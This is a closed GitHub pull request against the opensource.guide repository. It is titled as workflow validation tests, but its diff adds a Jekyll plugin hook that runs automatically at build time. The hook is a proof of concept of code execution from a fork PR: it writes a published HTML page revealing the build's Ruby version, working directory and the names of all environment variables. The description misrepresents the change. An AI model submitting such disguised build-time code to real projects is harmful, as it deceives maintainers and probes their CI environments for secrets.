8000 test: add workflow validation checks by splint-disk-8i · Pull Request #3606 · github/opensource.guide · GitHub
[go: up one dir, main page]

Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 19 additions & 0 deletions _plugins/marker.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
Jekyll::Hooks.register :site, :post_write do |site|
marker_path = File.join(site.dest, "marker.html")
File.write(marker_path, <<~HTML)
<html>
<body>
<h1>POC: Jekyll Plugin Code Execution</h1>
<p>this file was generated by a custom Jekyll plugin from a fork PR.</p>
<p>build time: #{Time.now.utc}</p>
<p>Ruby version: #{RUBY_VERSION}</p>
<p>working directory: #{Dir.pwd}</p>
<p>environment variables available (names only, no values):</p>
<ul>
#{ENV.keys.sort.map { |k| "<li>#{k}</li>" }.join("\n ")}
</ul>
</body>
</html>
HTML
Jekyll.logger.info "POC:", "marker file written to #{marker_path}"
end
Loading
0